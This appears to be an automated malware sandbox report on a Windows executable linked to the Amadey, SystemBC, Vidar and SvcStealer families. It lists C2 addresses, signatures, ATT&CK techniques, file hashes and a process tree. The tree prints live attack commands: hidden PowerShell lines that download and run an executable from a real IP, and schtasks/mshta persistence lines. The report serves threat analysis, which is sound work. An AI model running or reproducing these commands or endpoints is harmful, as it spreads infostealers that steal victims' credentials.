Overview

overview

10

Static

static

3

fbeacc1984...d7.exe

windows7-x64

10

fbeacc1984...d7.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20250207-en
  • resource tags

    arch:x64arch:x86image:win7-20250207-enlocale:en-usos:windows7-x64system
  • submitted
    05/03/2025, 04:09

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    fbeacc19842742c19181eb930a0cd2baca9f900e388204a30e941090809f7fd7.exe

  • Size

    1.8MB

  • MD5

    fbd20cabacee9b0def4ea7c0c7340405

  • SHA1

    f43864031c537e45ed653c82dd3e8aef4fcf32a9

  • SHA256

    fbeacc19842742c19181eb930a0cd2baca9f900e388204a30e941090809f7fd7

  • SHA512

    ceb4cb9fa7cf211f495e477ecb896852bba32bb230f825cfb0188733b80b12482d5ead72eea25ace0e032481547a6d8461c149539effde77c2cc8fa859629495

  • SSDEEP

    49152:rMncqPrIpxu4Z0biPikcjaUpVd10oLYsdDXKZbcWvAbh3cgm3vTh:p71ZCUcjJXd1JdobhVTF

Score
10/10
amadeysvcstealersystembcvidar092155ir7amdefense_evasiondiscoverydownloaderexecutionpersistencespywarestealertrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain

Extracted

Family

systembc

C2

towerbingobongoboom.com

62.60.226.86
Attributes
  • dns

    5.132.191.104

    ns1.vic.au.dns.opennic.glue

    ns2.vic.au.dns.opennic.glue

Extracted

Family

vidar

Botnet

ir7am

C2

https://t.me/l793oy

https://steamcommunity.com/profiles/76561199829660832
Attributes
  • user_agent

    Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/131.0.0.0 Safari/537.36 OPR/116.0.0.0

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • Detect Vidar Stealer 6 IoCs
    stealer
  • Detects SvcStealer Payload 5 IoCs

    SvcStealer aka Diamotrix Clipper is a stealer/downloader written in C++.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • SvcStealer, Diamotrix

    SvcStealer aka Diamotrix Clipper is a stealer/downloader written in C++.

    stealerdownloadersvcstealer
  • Svcstealer family
    svcstealer
  • SystemBC

    SystemBC is a proxy and remote administration tool first seen in 2019.

    trojansystembc
  • Systembc family
    systembc
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • Vidar family
    vidar
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 6 IoCs
    defense_evasion
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Using powershell.exe command.

    execution
  • Downloads MZ/PE file 13 IoCs
  • .NET Reactor proctector 2 IoCs

    Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

  • Checks BIOS information in registry 2 TTPs 12 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 23 IoCs
  • Identifies Wine through registry keys 2 TTPs 6 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Loads dropped DLL 55 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 3 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • AutoIT Executable 1 IoCs

    AutoIT scripts compiled to PE executables.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 5 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 5 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 35 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Delays execution with timeout.exe 1 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
    adwarespyware
  • Modifies system certificate store 2 TTPs 9 IoCs
    defense_evasionspywaretrojan
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 24 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 29 IoCs
  • Suspicious use of FindShellTrayWindow 12 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:1180
    • C:\Users\Admin\AppData\Local\Temp\fbeacc19842742c19181eb930a0cd2baca9f900e388204a30e941090809f7fd7.exe
      "C:\Users\Admin\AppData\Local\Temp\fbeacc19842742c19181eb930a0cd2baca9f900e388204a30e941090809f7fd7.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Checks BIOS information in registry
      • Identifies Wine through registry keys
      • Loads dropped DLL
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:1964
      • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
        "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
        3⤵
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Downloads MZ/PE file
        • Checks BIOS information in registry
        • Executes dropped EXE
        • Identifies Wine through registry keys
        • Loads dropped DLL
        • Adds Run key to start application
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:1028
        • C:\Users\Admin\AppData\Local\Temp\10089420101\4klgwMz.exe
          "C:\Users\Admin\AppData\Local\Temp\10089420101\4klgwMz.exe"
          4⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:2748
        • C:\Users\Admin\AppData\Local\Temp\10089720101\8jQumY5.exe
          "C:\Users\Admin\AppData\Local\Temp\10089720101\8jQumY5.exe"
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1956
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 1956 -s 840
            5⤵
            • Loads dropped DLL
            • Program crash
            PID:2520
        • C:\Users\Admin\AppData\Local\Temp\10090400101\W6ySCZP.exe
          "C:\Users\Admin\AppData\Local\Temp\10090400101\W6ySCZP.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:3024
          • C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe
            "C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe"
            5⤵
            • Downloads MZ/PE file
            • Executes dropped EXE
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:1012
            • C:\Users\Admin\AppData\Roaming\10000710100\feedlablest.exe
              "C:\Users\Admin\AppData\Roaming\10000710100\feedlablest.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Drops file in Windows directory
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:1976
        • C:\Users\Admin\AppData\Local\Temp\10092140101\Ps7WqSx.exe
          "C:\Users\Admin\AppData\Local\Temp\10092140101\Ps7WqSx.exe"
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:872
        • C:\Users\Admin\AppData\Local\Temp\10097700101\amnew.exe
          "C:\Users\Admin\AppData\Local\Temp\10097700101\amnew.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:1908
          • C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
            "C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe"
            5⤵
            • Downloads MZ/PE file
            • Executes dropped EXE
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            • Modifies system certificate store
            PID:3008
            • C:\Users\Admin\AppData\Local\Temp\10016760101\files.exe
              "C:\Users\Admin\AppData\Local\Temp\10016760101\files.exe"
              6⤵
              • Suspicious use of NtCreateUserProcessOtherParentProcess
              • Executes dropped EXE
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:1548
        • C:\Users\Admin\AppData\Local\Temp\10097710101\faeba77a20.exe
          "C:\Users\Admin\AppData\Local\Temp\10097710101\faeba77a20.exe"
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of WriteProcessMemory
          PID:2536
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c schtasks /create /tn kFwyLmaD1dr /tr "mshta C:\Users\Admin\AppData\Local\Temp\1LIta3g1n.hta" /sc minute /mo 25 /ru "Admin" /f
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:672
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks /create /tn kFwyLmaD1dr /tr "mshta C:\Users\Admin\AppData\Local\Temp\1LIta3g1n.hta" /sc minute /mo 25 /ru "Admin" /f
              6⤵
              • System Location Discovery: System Language Discovery
              • Scheduled Task/Job: Scheduled Task
              PID:1944
          • C:\Windows\SysWOW64\mshta.exe
            mshta C:\Users\Admin\AppData\Local\Temp\1LIta3g1n.hta
            5⤵
            • System Location Discovery: System Language Discovery
            • Modifies Internet Explorer settings
            • Suspicious use of WriteProcessMemory
            PID:2344
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'FH0QKNVVU00PUNBK14MOJOZPXKNX5XMK.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
              6⤵
              • Blocklisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • Downloads MZ/PE file
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:396
              • C:\Users\Admin\AppData\Local\TempFH0QKNVVU00PUNBK14MOJOZPXKNX5XMK.EXE
                "C:\Users\Admin\AppData\Local\TempFH0QKNVVU00PUNBK14MOJOZPXKNX5XMK.EXE"
                7⤵
                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                • Checks BIOS information in registry
                • Executes dropped EXE
                • Identifies Wine through registry keys
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious behavior: EnumeratesProcesses
                PID:2524
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c ""C:\Users\Admin\AppData\Local\Temp\10097720121\am_no.cmd" "
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2428
          • C:\Windows\SysWOW64\timeout.exe
            timeout /t 2
            5⤵
            • System Location Discovery: System Language Discovery
            • Delays execution with timeout.exe
            PID:2864
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:576
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2392
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:2628
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1576
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:2772
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1088
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /create /tn "lac5Tmaqt6v" /tr "mshta \"C:\Temp\0KxobPjd7.hta\"" /sc minute /mo 25 /ru "Admin" /f
            5⤵
            • System Location Discovery: System Language Discovery
            • Scheduled Task/Job: Scheduled Task
            PID:2528
          • C:\Windows\SysWOW64\mshta.exe
            mshta "C:\Temp\0KxobPjd7.hta"
            5⤵
            • System Location Discovery: System Language Discovery
            • Modifies Internet Explorer settings
            PID:2004
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
              6⤵
              • Blocklisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • Downloads MZ/PE file
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1044
              • C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe
                "C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe"
                7⤵
                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                • Checks BIOS information in registry
                • Executes dropped EXE
                • Identifies Wine through registry keys
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious behavior: EnumeratesProcesses
                PID:2388
        • C:\Users\Admin\AppData\Local\Temp\10098440101\z3SJkC5.exe
          "C:\Users\Admin\AppData\Local\Temp\10098440101\z3SJkC5.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:2792
          • C:\Windows\TEMP\{32C5EE92-B34F-4325-908A-F28FC29E7323}\.cr\z3SJkC5.exe
            "C:\Windows\TEMP\{32C5EE92-B34F-4325-908A-F28FC29E7323}\.cr\z3SJkC5.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\10098440101\z3SJkC5.exe" -burn.filehandle.attached=216 -burn.filehandle.self=212
            5⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Drops file in Windows directory
            • System Location Discovery: System Language Discovery
            PID:2432
            • C:\Windows\TEMP\{12D41D20-D467-4E85-9CBC-5B2CF86FB2AE}\.ba\WiseTurbo.exe
              C:\Windows\TEMP\{12D41D20-D467-4E85-9CBC-5B2CF86FB2AE}\.ba\WiseTurbo.exe
              6⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              PID:1336
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 2432 -s 208
              6⤵
              • Loads dropped DLL
              • Program crash
              PID:2116
        • C:\Users\Admin\AppData\Local\Temp\10098450101\8jQumY5.exe
          "C:\Users\Admin\AppData\Local\Temp\10098450101\8jQumY5.exe"
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:1780
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 1780 -s 840
            5⤵
            • Loads dropped DLL
            • Program crash
            PID:2640
        • C:\Users\Admin\AppData\Local\Temp\10098460101\BXxKvLN.exe
          "C:\Users\Admin\AppData\Local\Temp\10098460101\BXxKvLN.exe"
          4⤵
          • Executes dropped EXE
          PID:1512
        • C:\Users\Admin\AppData\Local\Temp\10098470101\mAtJWNv.exe
          "C:\Users\Admin\AppData\Local\Temp\10098470101\mAtJWNv.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          PID:1932
          • C:\Users\Admin\AppData\Local\Temp\10098470101\mAtJWNv.exe
            "C:\Users\Admin\AppData\Local\Temp\10098470101\mAtJWNv.exe"
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Modifies system certificate store
            PID:1264
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 1932 -s 504
            5⤵
            • Loads dropped DLL
            • Program crash
            PID:1812
        • C:\Users\Admin\AppData\Local\Temp\10098480101\zY9sqWs.exe
          "C:\Users\Admin\AppData\Local\Temp\10098480101\zY9sqWs.exe"
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:2612
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 2612 -s 1040
            5⤵
            • Loads dropped DLL
            • Program crash
            PID:2996
    • C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe
      "C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      PID:2604
  • C:\Windows\system32\taskeng.exe
    taskeng.exe {1B59A5C2-7AB5-4126-8B71-D076F3AAE697} S-1-5-21-677481364-2238709445-1347953534-1000:JXXXDSWS\Admin:Interactive:[1]
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:916
    • C:\ProgramData\wwasfxe\orhct.exe
      C:\ProgramData\wwasfxe\orhct.exe
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Checks BIOS information in registry
      • Executes dropped EXE
      • Identifies Wine through registry keys
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      PID:1968

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1
T1059

PowerShell

1
T1059.001

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Persistence

Boot or Logon Autostart Execution

1
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

1
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Defense Evasion

Modify Registry

3
T1112

Subvert Trust Controls

1
T1553

Install Root Certificate

1
T1553.004

Virtualization/Sandbox Evasion

2
T1497

Credential Access

Credentials from Password Stores

1
T1555

Credentials from Web Browsers

1
T1555.003

Unsecured Credentials

2
T1552

Credentials In Files

2
T1552.001

Discovery

Browser Information Discovery

1
T1217

Query Registry

4
T1012

System Information Discovery

2
T1082

System Location Discovery

1
T1614

System Language Discovery

1
T1614.001

Virtualization/Sandbox Evasion

2
T1497

Lateral Movement

Collection

Data from Local System

2
T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Temp\0KxobPjd7.hta
    Filesize

    779B

    MD5

    39c8cd50176057af3728802964f92d49

    SHA1

    68fc10a10997d7ad00142fc0de393fe3500c8017

    SHA256

    f685edf8437c0b505f5e366d8b1cb79e7770361cc4906240e7f8c8ad32c94e84

    SHA512

    cf563b2b5a3553acf3a91298936b904abf87620c2fc582bcdb45dec5d4b877bef5ae81feae4b741e1aee1a916e543b5f6914d9c494d2aa33bc6f15c6fc904cc6

    Download Submit

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
    Filesize

    71KB

    MD5

    83142242e97b8953c386f988aa694e4a

    SHA1

    833ed12fc15b356136dcdd27c61a50f59c5c7d50

    SHA256

    d72761e1a334a754ce8250e3af7ea4bf25301040929fd88cf9e50b4a9197d755

    SHA512

    bb6da177bd16d163f377d9b4c63f6d535804137887684c113cc2f643ceab4f34338c06b5a29213c23d375e95d22ef417eac928822dfb3688ce9e2de9d5242d10

    Download Submit

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
    Filesize

    344B

    MD5

    4814be9121d3c13bfe7b4485d5949fe4

    SHA1

    50521abbc061dd6f68f847a9b506aa454751d3b3

    SHA256

    7bb21ccc8d0db57952c6b01582b30db7ec4fad537ac35fb1cd54ae27bedd4118

    SHA512

    08ffad0466efe9a75143252bfae9776adda356ce1215db531b6be3a6fbdc6e9539f899265b5cfbd6b01a8e38f3cab73b4b0774c87bc49b05cf2fe2baab3ed2dd

    Download Submit

  • C:\Users\Admin\AppData\Local\TempFH0QKNVVU00PUNBK14MOJOZPXKNX5XMK.EXE
    Filesize

    1.8MB

    MD5

    17de498486ab8389b310d0ea6b5ffe33

    SHA1

    e01dc56faffd68ab1d6675ff7c82c5fc1349fafb

    SHA256

    e465b0d4b8f9d028e868558a8c232ac440e7812b1aa4530ad373d05aa149f3e1

    SHA512

    7daa8eb5ae9265c7530f0688ad4f617727921db34b4e7afff0b3b6ed32a119fa0f0ab5b287fabe2455fd17467689ffaf23fb9772d9dc1e7205fb518c273798e5

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\10016760101\files.exe
    Filesize

    494KB

    MD5

    434f706017b7f673ed5586f1470d7d28

    SHA1

    f431be69eab7bec0c1752f54977e32fd60278617

    SHA256

    a6b647b49538fe599002c116ee5cd79c7e2d472cb48b24b1dfcf9a2718088c2a

    SHA512

    d019cb403225f85f5344fb94da6257b216baa5b66000821a0357b03db9da555e51a6cfad576570bfc62f0db8077d92af9793843d48b0e1045ede79e14c4222d7

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\10089420101\4klgwMz.exe
    Filesize

    615KB

    MD5

    19668940080169c70b830bed8c390783

    SHA1

    5e6b72e52abc7d221d512111e39cbdd3f2ad40c1

    SHA256

    cdbc641b8c23b5699f899b408394ecfc946af9ac7a38c5d44c78a4a938e7b02c

    SHA512

    c322eba01ff4544b8077ec400f15ecffd3b66f89e0e0e26946224771c1ffb9c687ff4adc2e0a5e6b119766b3c8300971cfc2c990ff48346d9d3d514ab5d4bed2

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\10089720101\8jQumY5.exe
    Filesize

    7.6MB

    MD5

    e82c4c3f7a2994eeecc1f81a5e4a4180

    SHA1

    660820f778073332dcd5ec446d2fcf00de887abd

    SHA256

    11eec5d71c7fadae9d7176448d8fff3de44ec8d3b4df86f0eca59e06adf202d3

    SHA512

    4d3e42e68b9fa6330edfee677ad55ae24964c33d6fd2d25ba6c2876d80f8d9cbc999c6e27192ce58a45559d00b3c0bc71ddbee1ad8d6fd7083b705ef5cf84d76

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\10090400101\W6ySCZP.exe
    Filesize

    450KB

    MD5

    02579a797e919dcaf5758fbcbe34b093

    SHA1

    7668fff0888f4c7ad7a83b24f8c6d4009c10e534

    SHA256

    0a63a310dfc4ce680c96f72f5b9c9559f9e6d9c3d99f48c8782ee43c56a8728c

    SHA512

    2b99b620ca06f03a1924c0ab2feef96142df6ff16558d30c37e8b3e5602e5d5b2ecd4e7bd3b4499ef64a0eb32cb136821442e79b3aa66caf42467c749116e5f5

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\10092140101\Ps7WqSx.exe
    Filesize

    6.8MB

    MD5

    dab2bc3868e73dd0aab2a5b4853d9583

    SHA1

    3dadfc676570fc26fc2406d948f7a6d4834a6e2c

    SHA256

    388bd0f4fe9fca2897b29caac38e869905fd7d43c1512ca3fb9b772fbf2584eb

    SHA512

    3aefebe985050dbbd196e20e7783ada4c74a57fb167040323390c35a5c7b0185cb865591bf77096ff2bb5269c4faa62c70f6c18fc633851efa3c7f8eefe1ceb8

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\10097700101\amnew.exe
    Filesize

    429KB

    MD5

    22892b8303fa56f4b584a04c09d508d8

    SHA1

    e1d65daaf338663006014f7d86eea5aebf142134

    SHA256

    87618787e1032bbf6a6ca8b3388ea3803be20a49e4afaba1df38a6116085062f

    SHA512

    852dcc1470f33bc601a814f61a37c1f5a10071ff3354f101be0ef9aa5ac62b4433a732d02acd4247c2a1819fef9adef7dd6722ee8eb9e8501bac033eb877c744

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\10097710101\faeba77a20.exe
    Filesize

    938KB

    MD5

    d3f6417157848636b4ce0ee7d1c4db22

    SHA1

    413031d39ae68a0f838fb19ca90b126b17bc6cae

    SHA256

    5da6cfd7a904824943ea08f5945f68fc4e8b882d973b48efffd976c3361a3638

    SHA512

    781b65e94e004fc798494550462aecafc57f0cf70943f5e0bbd33706a27f4325e00bf9f0ef3de9b447fa4a5cb3f533f1ee053974589614698003d6bb37af4fad

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\10097720121\am_no.cmd
    Filesize

    1KB

    MD5

    cedac8d9ac1fbd8d4cfc76ebe20d37f9

    SHA1

    b0db8b540841091f32a91fd8b7abcd81d9632802

    SHA256

    5e951726842c371240a6af79d8da7170180f256df94eac5966c07f04ef4d120b

    SHA512

    ce383ffef8c3c04983e752b7f201b5df2289af057e819cdf7310a55a295790935a70e6a0784a6fd1d6898564a3babab1ffcfbaa0cc0d36e5e042adeb3c293fa5

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\10098440101\z3SJkC5.exe
    Filesize

    7.8MB

    MD5

    001d7acad697c62d8a2bd742c4955c26

    SHA1

    840216756261f1369511b1fd112576b3543508f7

    SHA256

    de53f6f359af6ccc361faf2aa74690c9575b987a01f1250a6eb042cf9d4ea4af

    SHA512

    f06039d1d7ad28a04877e4eabb6fb7a5137a0040b8c316bee502bce6c68058bfe62db9480674bb69c9aeabae34304adeeff86dc3a8427929d00a842d2f2e80eb

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\10098460101\BXxKvLN.exe
    Filesize

    1.7MB

    MD5

    971c0e70de5bb3de0c9911cf96d11743

    SHA1

    43badfc19a7e07671817cf05b39bc28a6c22e122

    SHA256

    67c9bb968cd0de2bfb2c24b00cfb2b98ac7403135ea47d98961652518584e45d

    SHA512

    a46523d8c71c0df25a043e2250ee1b6792e147314ec2097870a7972c892fd1a2022994f10823dadf54f161d11e808251b85a18efb9db9450d97af4b2f173f3c2

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\10098470101\mAtJWNv.exe
    Filesize

    350KB

    MD5

    b60779fb424958088a559fdfd6f535c2

    SHA1

    bcea427b20d2f55c6372772668c1d6818c7328c9

    SHA256

    098c4fe0de1df5b46cf4c825e8eba1893138c751968fcf9fe009a6991e9b1221

    SHA512

    c17a7781790326579669c2b9ad6f7f9764cf51f44ad11642d268b077ade186563ae53fc5e6e84eb7f563021db00bef9ebd65a8d3fbe7a73e85f70a4caa7d8a7f

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\10098480101\zY9sqWs.exe
    Filesize

    361KB

    MD5

    2bb133c52b30e2b6b3608fdc5e7d7a22

    SHA1

    fcb19512b31d9ece1bbe637fe18f8caf257f0a00

    SHA256

    b8e02f2bc0ffb42e8cf28e37a26d8d825f639079bf6d948f8debab6440ee5630

    SHA512

    73229885f8bf4aace4671b819a8487f36acb7878cd309bdf80b998b0a63584f3063364d192b1fc26fa71b9664908fe290a00f6898350c30f40d5f2a2d2efe51f

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\1LIta3g1n.hta
    Filesize

    717B

    MD5

